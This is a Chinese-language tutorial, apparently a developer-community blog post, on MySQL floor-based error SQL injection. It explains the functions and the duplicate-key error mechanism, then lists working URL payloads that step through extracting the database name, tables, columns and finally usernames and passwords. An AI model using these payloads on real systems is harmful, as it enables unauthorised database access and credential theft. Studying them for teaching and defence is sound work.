前言:本篇内容描述的是floor报错注入,在报错注入中属于最难的一类,其他报错注入的方法较为少见因此这里不再赘述,若有兴趣可自行查阅相关资料。

一.有关函数

1.rand():随机返回0到1间的小数

我们在kali的MySQL中输入如下命令:

select rand();

同样也可以进行乘法操作:

select rand()*2;
//随机返回0-2之间的小数

也可以根据表的行数随机显示结果:

select rand() from xml;
//xml 是之前用的表

2.floor() 小数向下取整

select floor(rand()*2);

//结果为0或1

3.concat_ws() 将括号内数据用第一个字段连接起来

就比方说我们构造如下命令:

select concat_ws('-',2,3);
//这里第一个就是我们拼接用到的字符,2,3就是要进行拼接的对象

select concat_ws('-',(select database()),floor(rand()*2));
//跟上面的对照一下,这里第二位和第三位也就显而易见了
select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from user group by a;
select concat_ws('-',(select database()),floor(rand()*2)) from user;
//这段话就是显示库中有几行数据,如果要校验的话可输入:
select count(*) from user;

然后这里还可以采用 as 和group by进行分组,就是将floor向下取整的两个结果0和1进行分组:

select concat_ws('-',(select database()),floor(rand()*2)) as a from user group by a;

3.count() 统计数量

这里count就是分别统计上面我们MySQ-0和-1的数量,构造的命令为:

select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from user group by a;

然后这里有概率会报错,具体原理请看接下来的讲解。

二.报错原理

之前我们在使用floor向下取整时用的是rand()*2,这是随机返回0或者1,那如果我们改成下面这样的结果会是什么呢:

select floor(rand(0)*2) from user;

可以看到计算不再随机,而是按照一定顺序排列,rand(0)改成rand(1)也同理,那么我们看到底选哪个会让数据库一直报错,这里也直接贴出来了:

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from user group by a;

这里报错的原因简单来说就是rand函数进行分组group by和统计count时可能会多次执行,导致键值key重复

假设 user 表有 3 行数据,MySQL 内部是这样处理的:

-- 步骤1:创建临时表
CREATE TEMPORARY TABLE temp (
    a varchar(255) UNIQUE,  -- group by 的字段
    count int
);

-- 步骤2:逐行处理数据
-- 第1行:计算 a = 'mydb-0'
-- 临时表:插入 ('mydb-0', 1)   成功

-- 第2行:计算 a = 'mydb-1'  
-- 临时表:插入 ('mydb-1', 1)  成功

-- 第3行:计算 a = 'mydb-0'
-- 临时表:尝试插入 ('mydb-0', 1)
-- 但 'mydb-0' 已经存在!
--  报错:Duplicate entry 'mydb-0' for key 'a'

多次执行的关键点:MySQL 在处理 GROUP BY 时,rand(0) 会被多次调用

-- 第3行的处理过程,rand(0)可能被调用多次:

-- 第一次调用(用于分组):
rand(0) = 0.3311 → floor(*2) = 0 → 'mydb-0'

-- 第二次调用(用于其他内部操作):
rand(0) = 0.1552 → floor(*2) = 0 → 还是 'mydb-0'

-- 关键是:这两次调用发生在不同的执行阶段
-- 可能导致临时表的状态判断出错

更加具体的可参考别的师傅的文章,具体就不贴出来了,培养培养自己信息搜集的能力,接下来就是floor报错的具体实践。

三.实战

?id=-1' union select 1, count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

注意这里后续只要改select 里面的内容,其他不用动,选择information_schema.tables是因为数据多,能够保证一定报错

?id=-1' union select 1, count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=-1' union select 1, count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

然后有个问题,再往下使用group_concat时没有显示报错信息,可能是数据太长无法显示:

?id=-1' union select 1, count(*),concat_ws('-',(select group_concat(username,'-',password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x--+

这里的解决方案是使用concat和limit来依次查询:

?id=-1' union select 1, count(*),concat_ws('-',(select concat('~',username,'-',password) from users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x--+

报错注入自此结束.

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐